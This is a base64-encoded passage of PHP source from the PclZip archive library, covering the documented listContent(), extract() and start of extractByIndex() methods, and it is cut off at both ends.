dGhlIGVycm9yIGlzIG9ubHkgbG9nZ2VkIGluIHRoZSBmaWxlIHN0YXR1cy4KICAvLyBSZXR1cm4gVmFsdWVzIDoKICAvLyAgIDAgb24gYW4gdW5yZWNvdmVyYWJsZSBmYWlsdXJlLAogIC8vICAgVGhlIGxpc3Qgb2YgdGhlIGZpbGVzIGluIHRoZSBhcmNoaXZlLgogIC8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiAgZnVuY3Rpb24gbGlzdENvbnRlbnQoKQogIHsKICAgICR2X3Jlc3VsdD0xOwoKICAgIC8vIC0tLS0tIFJlc2V0IHRoZSBlcnJvciBoYW5kbGVyCiAgICAkdGhpcy0+cHJpdkVycm9yUmVzZXQoKTsKCiAgICAvLyAtLS0tLSBDaGVjayBhcmNoaXZlCiAgICBpZiAoISR0aGlzLT5wcml2Q2hlY2tGb3JtYXQoKSkgewogICAgICByZXR1cm4oMCk7CiAgICB9CgogICAgLy8gLS0tLS0gQ2FsbCB0aGUgZXh0cmFjdGluZyBmY3QKICAgICRwX2xpc3QgPSBhcnJheSgpOwogICAgaWYgKCgkdl9yZXN1bHQgPSAkdGhpcy0+cHJpdkxpc3QoJHBfbGlzdCkpICE9IDEpCiAgICB7CiAgICAgIHVuc2V0KCRwX2xpc3QpOwogICAgICByZXR1cm4oMCk7CiAgICB9CgogICAgLy8gLS0tLS0gUmV0dXJuCiAgICByZXR1cm4gJHBfbGlzdDsKICB9CiAgLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KCiAgLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KICAvLyBGdW5jdGlvbiA6CiAgLy8gICBleHRyYWN0KCRwX3BhdGg9Ii4vIiwgJHBfcmVtb3ZlX3BhdGg9IiIpCiAgLy8gICBleHRyYWN0KFskcF9vcHRpb24sICRwX29wdGlvbl92YWx1ZSwgLi4uXSkKICAvLyBEZXNjcmlwdGlvbiA6CiAgLy8gICBUaGlzIG1ldGhvZCBzdXBwb3J0cyB0d28gc3lub3BzaXMuIFRoZSBmaXJzdCBvbmUgaXMgaGlzdG9yaWNhbC4KICAvLyAgIFRoaXMgbWV0aG9kIGV4dHJhY3QgYWxsIHRoZSBmaWxlcyAvIGRpcmVjdG9yaWVzIGZyb20gdGhlIGFyY2hpdmUgdG8gdGhlCiAgLy8gICBmb2xkZXIgaW5kaWNhdGVkIGluICRwX3BhdGguCiAgLy8gICBJZiB5b3Ugd2FudCB0byBpZ25vcmUgdGhlICdyb290JyBwYXJ0IG9mIHBhdGggb2YgdGhlIG1lbW9yaXplZCBmaWxlcwogIC8vICAgeW91IGNhbiBpbmRpY2F0ZSB0aGlzIGluIHRoZSBvcHRpb25hbCAkcF9yZW1vdmVfcGF0aCBwYXJhbWV0ZXIuCiAgLy8gICBCeSBkZWZhdWx0LCBpZiBhIG5ld2VyIGZpbGUgd2l0aCB0aGUgc2FtZSBuYW1lIGFscmVhZHkgZXhpc3RzLCB0aGUKICAvLyAgIGZpbGUgaXMgbm90IGV4dHJhY3RlZC4KICAvLwogIC8vICAgSWYgYm90aCBQQ0xaSVBfT1BUX1BBVEggYW5kIFBDTFpJUF9PUFRfQUREX1BBVEggYW9wdGlvbnMKICAvLyAgIGFyZSB1c2VkLCB0aGUgcGF0aCBpbmRpY2F0ZWQgaW4gUENMWklQX09QVF9BRERfUEFUSCBpcyBhcHBlbmQKICAvLyAgIGF0IHRoZSBlbmQgb2YgdGhlIHBhdGggdmFsdWUgb2YgUENMWklQX09QVF9QQVRILgogIC8vIFBhcmFtZXRlcnMgOgogIC8vICAgJHBfcGF0aCA6IFBhdGggd2hlcmUgdGhlIGZpbGVzIGFuZCBkaXJlY3RvcmllcyBhcmUgdG8gYmUgZXh0cmFjdGVkCiAgLy8gICAkcF9yZW1vdmVfcGF0aCA6IEZpcnN0IHBhcnQgKCdyb290JyBwYXJ0KSBvZiB0aGUgbWVtb3JpemVkIHBhdGgKICAvLyAgICAgICAgICAgICAgICAgICAgKGlmIGFueSBzaW1pbGFyKSB0byByZW1vdmUgd2hpbGUgZXh0cmFjdGluZy4KICAvLyBPcHRpb25zIDoKICAvLyAgIFBDTFpJUF9PUFRfUEFUSCA6CiAgLy8gICBQQ0xaSVBfT1BUX0FERF9QQVRIIDoKICAvLyAgIFBDTFpJUF9PUFRfUkVNT1ZFX1BBVEggOgogIC8vICAgUENMWklQX09QVF9SRU1PVkVfQUxMX1BBVEggOgogIC8vICAgUENMWklQX0NCX1BSRV9FWFRSQUNUIDoKICAvLyAgIFBDTFpJUF9DQl9QT1NUX0VYVFJBQ1QgOgogIC8vIFJldHVybiBWYWx1ZXMgOgogIC8vICAgMCBvciBhIG5lZ2F0aXZlIHZhbHVlIG9uIGZhaWx1cmUsCiAgLy8gICBUaGUgbGlzdCBvZiB0aGUgZXh0cmFjdGVkIGZpbGVzLCB3aXRoIGEgc3RhdHVzIG9mIHRoZSBhY3Rpb24uCiAgLy8gICAoc2VlIFBjbFppcDo6bGlzdENvbnRlbnQoKSBmb3IgbGlzdCBlbnRyeSBmb3JtYXQpCiAgLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KICBmdW5jdGlvbiBleHRyYWN0KCkKICB7CiAgICAkdl9yZXN1bHQ9MTsKCiAgICAvLyAtLS0tLSBSZXNldCB0aGUgZXJyb3IgaGFuZGxlcgogICAgJHRoaXMtPnByaXZFcnJvclJlc2V0KCk7CgogICAgLy8gLS0tLS0gQ2hlY2sgYXJjaGl2ZQogICAgaWYgKCEkdGhpcy0+cHJpdkNoZWNrRm9ybWF0KCkpIHsKICAgICAgcmV0dXJuKDApOwogICAgfQoKICAgIC8vIC0tLS0tIFNldCBkZWZhdWx0IHZhbHVlcwogICAgJHZfb3B0aW9ucyA9IGFycmF5KCk7Ci8vICAgICR2X3BhdGggPSAiLi8iOwogICAgJHZfcGF0aCA9ICcnOwogICAgJHZfcmVtb3ZlX3BhdGggPSAiIjsKICAgICR2X3JlbW92ZV9hbGxfcGF0aCA9IGZhbHNlOwoKICAgIC8vIC0tLS0tIExvb2sgZm9yIHZhcmlhYmxlIG9wdGlvbnMgYXJndW1lbnRzCiAgICAkdl9zaXplID0gZnVuY19udW1fYXJncygpOwoKICAgIC8vIC0tLS0tIERlZmF1bHQgdmFsdWVzIGZvciBvcHRpb24KICAgICR2X29wdGlvbnNbUENMWklQX09QVF9FWFRSQUNUX0FTX1NUUklOR10gPSBGQUxTRTsKCiAgICAvLyAtLS0tLSBMb29rIGZvciBhcmd1bWVudHMKICAgIGlmICgkdl9zaXplID4gMCkgewogICAgICAvLyAtLS0tLSBHZXQgdGhlIGFyZ3VtZW50cwogICAgICAkdl9hcmdfbGlzdCA9IGZ1bmNfZ2V0X2FyZ3MoKTsKCiAgICAgIC8vIC0tLS0tIExvb2sgZm9yIGZpcnN0IGFyZwogICAgICBpZiAoKGlzX2ludGVnZXIoJHZfYXJnX2xpc3RbMF0pKSAmJiAoJHZfYXJnX2xpc3RbMF0gPiA3NzAwMCkpIHsKCiAgICAgICAgLy8gLS0tLS0gUGFyc2UgdGhlIG9wdGlvbnMKICAgICAgICAkdl9yZXN1bHQgPSAkdGhpcy0+cHJpdlBhcnNlT3B0aW9ucygkdl9hcmdfbGlzdCwgJHZfc2l6ZSwgJHZfb3B0aW9ucywKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhcnJheSAoUENMWklQX09QVF9QQVRIID0+ICdvcHRpb25hbCcsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFBDTFpJUF9PUFRfUkVNT1ZFX1BBVEggPT4gJ29wdGlvbmFsJywKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUENMWklQX09QVF9SRU1PVkVfQUxMX1BBVEggPT4gJ29wdGlvbmFsJywKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUENMWklQX09QVF9BRERfUEFUSCA9PiAnb3B0aW9uYWwnLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBQQ0xaSVBfQ0JfUFJFX0VYVFJBQ1QgPT4gJ29wdGlvbmFsJywKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUENMWklQX0NCX1BPU1RfRVhUUkFDVCA9PiAnb3B0aW9uYWwnLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBQQ0xaSVBfT1BUX1NFVF9DSE1PRCA9PiAnb3B0aW9uYWwnLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBQQ0xaSVBfT1BUX0JZX05BTUUgPT4gJ29wdGlvbmFsJywKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUENMWklQX09QVF9CWV9FUkVHID0+ICdvcHRpb25hbCcsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFBDTFpJUF9PUFRfQllfUFJFRyA9PiAnb3B0aW9uYWwnLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBQQ0xaSVBfT1BUX0JZX0lOREVYID0+ICdvcHRpb25hbCcsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFBDTFpJUF9PUFRfRVhUUkFDVF9BU19TVFJJTkcgPT4gJ29wdGlvbmFsJywKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUENMWklQX09QVF9FWFRSQUNUX0lOX09VVFBVVCA9PiAnb3B0aW9uYWwnLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBQQ0xaSVBfT1BUX1JFUExBQ0VfTkVXRVIgPT4gJ29wdGlvbmFsJwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAsUENMWklQX09QVF9TVE9QX09OX0VSUk9SID0+ICdvcHRpb25hbCcKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLFBDTFpJUF9PUFRfRVhUUkFDVF9ESVJfUkVTVFJJQ1RJT04gPT4gJ29wdGlvbmFsJywKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUENMWklQX09QVF9URU1QX0ZJTEVfVEhSRVNIT0xEID0+ICdvcHRpb25hbCcsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFBDTFpJUF9PUFRfVEVNUF9GSUxFX09OID0+ICdvcHRpb25hbCcsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFBDTFpJUF9PUFRfVEVNUF9GSUxFX09GRiA9PiAnb3B0aW9uYWwnCgkJCQkJCQkJCQkJCSAgICApKTsKICAgICAgICBpZiAoJHZfcmVzdWx0ICE9IDEpIHsKICAgICAgICAgIHJldHVybiAwOwogICAgICAgIH0KCiAgICAgICAgLy8gLS0tLS0gU2V0IHRoZSBhcmd1bWVudHMKICAgICAgICBpZiAoaXNzZXQoJHZfb3B0aW9uc1tQQ0xaSVBfT1BUX1BBVEhdKSkgewogICAgICAgICAgJHZfcGF0aCA9ICR2X29wdGlvbnNbUENMWklQX09QVF9QQVRIXTsKICAgICAgICB9CiAgICAgICAgaWYgKGlzc2V0KCR2X29wdGlvbnNbUENMWklQX09QVF9SRU1PVkVfUEFUSF0pKSB7CiAgICAgICAgICAkdl9yZW1vdmVfcGF0aCA9ICR2X29wdGlvbnNbUENMWklQX09QVF9SRU1PVkVfUEFUSF07CiAgICAgICAgfQogICAgICAgIGlmIChpc3NldCgkdl9vcHRpb25zW1BDTFpJUF9PUFRfUkVNT1ZFX0FMTF9QQVRIXSkpIHsKICAgICAgICAgICR2X3JlbW92ZV9hbGxfcGF0aCA9ICR2X29wdGlvbnNbUENMWklQX09QVF9SRU1PVkVfQUxMX1BBVEhdOwogICAgICAgIH0KICAgICAgICBpZiAoaXNzZXQoJHZfb3B0aW9uc1tQQ0xaSVBfT1BUX0FERF9QQVRIXSkpIHsKICAgICAgICAgIC8vIC0tLS0tIENoZWNrIGZvciAnLycgaW4gbGFzdCBwYXRoIGNoYXIKICAgICAgICAgIGlmICgoc3RybGVuKCR2X3BhdGgpID4gMCkgJiYgKHN1YnN0cigkdl9wYXRoLCAtMSkgIT0gJy8nKSkgewogICAgICAgICAgICAkdl9wYXRoIC49ICcvJzsKICAgICAgICAgIH0KICAgICAgICAgICR2X3BhdGggLj0gJHZfb3B0aW9uc1tQQ0xaSVBfT1BUX0FERF9QQVRIXTsKICAgICAgICB9CiAgICAgIH0KCiAgICAgIC8vIC0tLS0tIExvb2sgZm9yIDIgYXJncwogICAgICAvLyBIZXJlIHdlIG5lZWQgdG8gc3VwcG9ydCB0aGUgZmlyc3QgaGlzdG9yaWMgc3lub3BzaXMgb2YgdGhlCiAgICAgIC8vIG1ldGhvZC4KICAgICAgZWxzZSB7CgogICAgICAgIC8vIC0tLS0tIEdldCB0aGUgZmlyc3QgYXJndW1lbnQKICAgICAgICAkdl9wYXRoID0gJHZfYXJnX2xpc3RbMF07CgogICAgICAgIC8vIC0tLS0tIExvb2sgZm9yIHRoZSBvcHRpb25hbCBzZWNvbmQgYXJndW1lbnQKICAgICAgICBpZiAoJHZfc2l6ZSA9PSAyKSB7CiAgICAgICAgICAkdl9yZW1vdmVfcGF0aCA9ICR2X2FyZ19saXN0WzFdOwogICAgICAgIH0KICAgICAgICBlbHNlIGlmICgkdl9zaXplID4gMikgewogICAgICAgICAgLy8gLS0tLS0gRXJyb3IgbG9nCiAgICAgICAgICBQY2xaaXA6OnByaXZFcnJvckxvZyhQQ0xaSVBfRVJSX0lOVkFMSURfUEFSQU1FVEVSLCAiSW52YWxpZCBudW1iZXIgLyB0eXBlIG9mIGFyZ3VtZW50cyIpOwoKICAgICAgICAgIC8vIC0tLS0tIFJldHVybgogICAgICAgICAgcmV0dXJuIDA7CiAgICAgICAgfQogICAgICB9CiAgICB9CgogICAgLy8gLS0tLS0gTG9vayBmb3IgZGVmYXVsdCBvcHRpb24gdmFsdWVzCiAgICAkdGhpcy0+cHJpdk9wdGlvbkRlZmF1bHRUaHJlc2hvbGQoJHZfb3B0aW9ucyk7CgogICAgLy8gLS0tLS0gVHJhY2UKCiAgICAvLyAtLS0tLSBDYWxsIHRoZSBleHRyYWN0aW5nIGZjdAogICAgJHBfbGlzdCA9IGFycmF5KCk7CiAgICAkdl9yZXN1bHQgPSAkdGhpcy0+cHJpdkV4dHJhY3RCeVJ1bGUoJHBfbGlzdCwgJHZfcGF0aCwgJHZfcmVtb3ZlX3BhdGgsCgkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHZfcmVtb3ZlX2FsbF9wYXRoLCAkdl9vcHRpb25zKTsKICAgIGlmICgkdl9yZXN1bHQgPCAxKSB7CiAgICAgIHVuc2V0KCRwX2xpc3QpOwogICAgICByZXR1cm4oMCk7CiAgICB9CgogICAgLy8gLS0tLS0gUmV0dXJuCiAgICByZXR1cm4gJHBfbGlzdDsKICB9CiAgLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KCgogIC8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiAgLy8gRnVuY3Rpb24gOgogIC8vICAgZXh0cmFjdEJ5SW5kZXgoJHBfaW5kZXgsICRwX3BhdGg9Ii4vIiwgJHBfcmVtb3ZlX3BhdGg9IiIpCiAgLy8gICBleHRyYWN0QnlJbmRleCgkcF9pbmRleCwgWyRwX29wdGlvbiwgJHBfb3B0aW9uX3ZhbHVlLCAuLi5dKQogIC8vIERlc2NyaXB0aW9uIDoKICAvLyAgIFRoaXMgbWV0aG9kIHN1cHBvcnRzIHR3byBzeW5vcHNpcy4gVGhlIGZpcnN0IG9uZSBpcyBoaXN0b3JpY2FsLgogIC8vICAgVGhpcyBtZXRob2QgaXMgZG9pbmcgYSBwYXJ0aWFsIGV4dHJhY3Qgb2YgdGhlIGFyY2hpdmUuCiAgLy8gICBUaGUgZXh0cmFjdGVkIGZpbGVzIG9yIGZvbGRlcnMgYXJlIGlkZW50aWZpZWQgYnkgdGhlaXIgaW5kZXggaW4gdGhlCiAgLy8gICBhcmNoaXZlIChmcm9tIDAgdG8gbikuCiAgLy8gICBOb3RlIHRoYXQgaWYgdGhlIGluZGV4IGlkZW50aWZ5IGEgZm9sZGVyLCBvbmx5IHRoZSBmb2xkZXIgZW50cnkgaXMKICAvLyAgIGV4dHJhY3RlZCwgbm90IGFsbCB0aGUgZmlsZXMgaW5jbHVkZWQgaW4gdGhlIGFyY2hpdmUuCiAgLy8gUGFyYW1ldGVycyA6CiAgLy8gICAkcF9pbmRleCA6IEEgc2luZ2xlIGluZGV4IChpbnRlZ2VyKSBvciBhIHN0cmluZyBvZiBpbmRleGVzIG9mIGZpbGVzIHRvCiAgLy8gICAgICAgICAgICAgIGV4dHJhY3QuIFRoZSBmb3JtIG9mIHRoZSBzdHJpbmcgaXMgIjAsNC02LDgtMTIiIHdpdGggb25seSBudW1iZXJzCiAgLy8gICAgICAgICAgICAgIGFuZCAnLScgZm9yIHJhbmdlIG9yICcsJyB0byBzZXBhcmF0ZSByYW5nZXMuIE5vIHNwYWNlcyBvciAnOycKICAvLyAgICAgICAgICAgICAgYXJlIGFsbG93ZWQuCiAgLy8gICAkcF9wYXRoIDogUGF0aCB3aGVyZSB0aGUgZmlsZXMgYW5kIGRpcmVjdG9yaWVzIGFyZSB0byBiZSBleHRyYWN0ZWQKICAvLyAgICRwX3JlbW92ZV9wYXRoIDogRmlyc3QgcGFydCAoJ3Jvb3QnIHBhcnQpIG9mIHRoZSBtZW1vcml6ZWQgcGF0aAogIC8vICAgICAgICAgICAgICAgICAgICAoaWYgYW55IHNpbWlsYXIpIHRvIHJlbW92ZSB3aGlsZSBleHRyYWN0aW5nLgogIC8vIE9wdGlvbnMgOgogIC8vICAgUENMWklQX09QVF9QQVRIIDoKICAvLyAgIFBDTFpJUF9PUFRfQUREX1BBVEggOgogIC8vICAgUENMWklQX09QVF9SRU1PVkVfUEFUSCA6CiAgLy8gICBQQ0xaSVBfT1BUX1JFTU9WRV9BTExfUEFUSCA6CiAgLy8gICBQQ0xaSVBfT1BUX0VYVFJBQ1RfQVNfU1RSSU5HIDogVGhlIGZpbGVzIGFyZSBleHRyYWN0ZWQgYXMgc3RyaW5ncyBhbmQKICAvLyAgICAgbm90IGFzIGZpbGVzLgogIC8vICAgICBUaGUgcmVzdWx0aW5nIGNvbnRlbnQgaXMgaW4gYSBuZXcgZmllbGQgJ2NvbnRlbnQnIGluIHRoZSBmaWxlCiAgLy8gICAgIHN0cnVjdHVyZS4KICAvLyAgICAgVGhpcyBvcHRpb24gbXVzdCBiZSB1c2VkIGFsb25lIChhbnkgb3RoZXIgb3B0aW9ucyBhcmUgaWdub3JlZCkuCiAgLy8gICBQQ0xaSVBfQ0JfUFJFX0VYVFJBQ1QgOgogIC8vICAgUENMWklQX0NCX1BPU1RfRVhUUkFDVCA6CiAgLy8gUmV0dXJuIFZhbHVlcyA6CiAgLy8gICAwIG9uIGZhaWx1cmUsCiAgLy8gICBUaGUgbGlzdCBvZiB0aGUgZXh0cmFjdGVkIGZpbGVzLCB3aXRoIGEgc3RhdHVzIG9mIHRoZSBhY3Rpb24uCiAgLy8gICAoc2VlIFBjbFppcDo6bGlzdENvbnRlbnQoKSBmb3IgbGlzdCBlbnRyeSBmb3JtYXQpCiAgLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KICAvL2Z1bmN0aW9uIGV4dHJhY3RCeUluZGV4KCRwX2luZGV4LCBvcHRpb25zLi4uKQogIGZ1bmN0aW9uIGV4dHJhY3RCeUluZGV4KCRwX2luZGV4KQogIHsKICAgICR2X3Jlc3VsdD0xOwoKICAgIC8vIC0tLS0tIFJlc2V0IHRoZSBlcnJvciBoYW5kbGVyCiAgICAkdGhpcy0+cHJpdkVycm9yUmVzZXQoKTsKCiAgICAvLyAtLS0tLSBDaGVjayBhcmNoaXZlCiAgICBpZiAoISR0aGlzLT5wcml2Q2hlY2tGb3JtYXQoKSkgewogICAgICByZXR1cm4oMCk7CiAgICB9CgogICAgLy8gLS0tLS0gU2V0IGRlZmF1bHQgdmFsdWVzCiAgICAkdl9vcHRpb25zID0gYXJyYXkoKTsKLy8gICAgJHZfcGF0aCA9ICIuLyI7CiAgICAkdl9wYXRoID0gJyc7CiAgICAkdl9yZW1vdmVfcGF0aCA9ICIiOwogICAgJHZfcmVtb3ZlX2FsbF9wYXRoID0gZmFsc2U7CgogICAgLy8gLS0tLS0gTG9vayBmb3IgdmFyaWFibGUgb3B0aW9ucyBhcmd1bWVudHMKICAgICR2X3NpemUgPSBmdW5jX251bV9hcmdzKCk7CgogICAgLy8gLS0tLS0gRGVmYXVsdCB2YWx1ZXMgZm9yIG9wdGlvbgogICAgJHZfb3B0aW9uc1tQQ0xaSVBfT1BUX0VYVFJBQ1RfQVNfU1RSSU5HXSA9IEZBTFNFOwoKICAgIC8vIC0tLS0tIExvb2sgZm9yIGFyZ3VtZW50cwogICAgaWYgKCR2X3NpemUgPiAxKSB7CiAgICAgIC8vIC0tLS0tIEdldCB0aGUgYXJndW1lbnRzCiAgICAgICR2X2FyZ19saXN0ID0gZnVuY19nZXRfYXJncygpOwoKICAgICAgLy8gLS0tLS0gUmVtb3ZlIGZvcm0gdGhlIG9wdGlvbnMgbGlzdCB0aGUgZmlyc3QgYXJndW1lbnQKICAgICAgYXJyYXlfc2hpZnQoJHZfYXJnX2xpc3QpOwogICAgICAkdl9zaXplLS07CgogICAgICAvLyAtLS0tLSBMb29rIGZvciBmaXJzdCBhcmcKICAgICAgaWYgKChpc19pbnRlZ2VyKCR2X2FyZ19saXN0WzBdKSkgJiYgKCR2X2FyZ19saXN0WzBdID4gNzcwMDApKSB7CgogICAgICAgIC8vIC0tLS0tIFBhcnNlIHRoZSBvcHRpb25zCiAgICAgICAgJHZfcmVzdWx0ID0gJHRoaXMtPnByaXZQYXJzZU9wdGlvbnMoJHZfYXJnX2xpc3QsICR2X3NpemUsICR2X29wdGlvbnMsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYXJyYXkgKFBDTFpJUF9PUFRfUEFUSCA9PiAnb3B0aW9uYWwnLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBQQ0xaSVBfT1BUX1JFTU9WRV9QQVRIID0+ICdvcHRpb25hbCcsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFBDTFpJUF9PUFRfUkVNT1ZFX0FMTF9QQVRIID0+ICdvcHRpb25hbCcsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFBDTFpJUF9PUFRfRVhUUkFDVF9BU19TVFJJTkcgPT4gJ29wdGlvbmFsJywKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUENMWklQX09QVF9BRERfUEFUSCA9PiAnb3B0aW9uYWwnLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBQQ0xaSVBfQ0JfUFJFX0VYVFJBQ1QgPT4gJ29wdGlvbmFsJywKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUENMWklQX0NCX1BPU1RfRVhUUkFDVCA9PiAnb3B0aW9uYWwnLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBQQ0xaSVBfT1BUX1NFVF9DSE1PRCA9PiAnb3B0aW9uYWwnLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBQQ0xaSVBfT1BUX1JFUExBQ0VfTkVXRVIgPT4gJ29wdGlvbmFsJwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAsUENMWklQX09QVF9TVE9QX09OX0VSUk9SID0+ICdvcHRpb25hbCcKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLFBDTFpJUF9PUFRfRVhUUkFDVF9ESVJfUkVTVFJJQ1RJT04gPT4gJ29wdGlvbmFsJywKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUENMWklQX09QVF9URU1QX0ZJTEVfVEhSRVNIT0xEID0+ICdvcHRpb25hbCcsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFBDTFpJUF9PUFRfVEVNUF9GSUxFX09OID0+ICdvcHRpb25hbCcsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFBDTFpJUF9PUFRfVEVNUF9GSUxFX09GRiA9PiAnb3B0aW9uYWwnCgkJCQkJCQkJCQkJCSAgICkpOwogICAgICAgIGlmICgkdl9yZXN1bHQgIT0gMSkgewogICAgICAgICAgcmV0dXJuIDA7CiAgICAgICAgfQoKICAgICAgICAvLyAtLS0tLSBTZXQgdGhlIGFyZ3VtZW50cwogICAgICAgIGlmIChpc3NldCgkdl9vcHRpb25zW1BDTFpJUF9PUFRfUEFUSF0pKSB7CiAgICAgICAgICAkdl9wYXRoID0gJHZfb3B0aW9uc1tQQ0xaSVBfT1BUX1BBVEhdOwogICAgICAgIH0KICAgICAgICBpZiAoaXNzZXQoJHZfb3B0aW9uc1tQQ0xaSVBfT1BUX1JFTU9WRV9QQVRIXSkpIHsKICAgICAgICAgICR2X3JlbW92ZV9wYXRoID0gJHZfb3B0aW9uc1tQQ0xaSVBfT1BUX1JFTU9WRV9QQVRIXTsKICAgICAgICB9CiAgICAgICAgaWYgKGlzc2V0KCR2X29wdGlvbnNbUENMWklQX09QVF9SRU1PVkVfQUxMX1BBVEhdKSkgewogICAgICAgICAgJHZfcmVtb3ZlX2FsbF9wYXRoID0gJHZfb3B0aW9uc1tQQ0xaSVBfT1BUX1JFTU9WRV9BTExfUEFUSF07CiAgICAgICAgfQogICAgICAgIGlmIChpc3NldCgkdl9vcHRpb25zW1BDTFpJUF9PUFRfQUREX1BBVEhdKSkgewogICAgICAgICAgLy8gLS0tLS0gQ2hlY2sgZm9yICcvJyBpbiBsYXN0IHBhdGggY2hhcgogICAgICAgICAgaWYgKChzdHJsZW4oJHZfcGF0aCkgPiAwKSAmJiAoc3Vic3RyKCR2X3BhdGgsIC0xKSAhPSAnLycpKSB7CiAgICAgICAgICAgICR2X3BhdGggLj0gJy8nOwogICAgICAgICAgfQogICAgICAgICAgJHZfcGF0aCAuPSAkdl9vcHRpb25zW1BDTFpJUF9PUFRfQUREX1BBVEhdOwogICAgICAgIH0KICAgICAgICBpZiAoIWlzc2V0KCR2X29wdGlvbnNbUENMWklQX09QVF9FWFRSQUNUX0FTX1NUUklOR10pKSB7CiAgICAgICAgICAkdl9vcHRpb25zW1BDTFpJUF9PUFRfRVhUUkFDVF9BU19TVFJJTkddID0gRkFMU0U7CiAgICAgICAgfQogICAgICAgIGVsc2UgewogICAgICAgIH0KICAgICAgfQoKICAgICAgLy8gLS0tLS0gTG9vayBmb3IgMiBhcmdzCiAgICAgIC8vIEhlcmUgd2UgbmVlZCB0byBzdXBwb3J0IHRoZSBmaXJzdCBoaXN0b3JpYyBzeW5vcHNpcyBvZiB0aGUKICAgICAgLy8gbWV0aG9kLgogICAgICBlbHNlIHsKCiAgICAgICAgLy8gLS0tLS0gR2V0IHRoZSBmaXJzdCBhcmd1bWVudAogICAgICAgICR2X3BhdGggPSAkdl9hcmdfbGlzdFswXTsKCiAgICAgICAgLy8gLS0tLS0gTG9vayBmb3IgdGhlIG9wdGlvbmFsIHNlY29uZCBhcmd1bWVudAogICAgICAgIGlmICgkdl9zaXplID09IDIpIHsKICAgICAgICAgICR2X3JlbW92ZV9wYXRoID0gJHZfYXJnX2xpc3RbMV07CiAgICAgICAgfQogICAgICAgIGVsc2UgaWYgKCR2X3NpemUgPiAyKSB7CiAgICAgICAgICAvLyAtLS0tLSBFcnJvciBsb2cKICAgICAgICAgIFBjbFppcDo6cHJpdkVycm9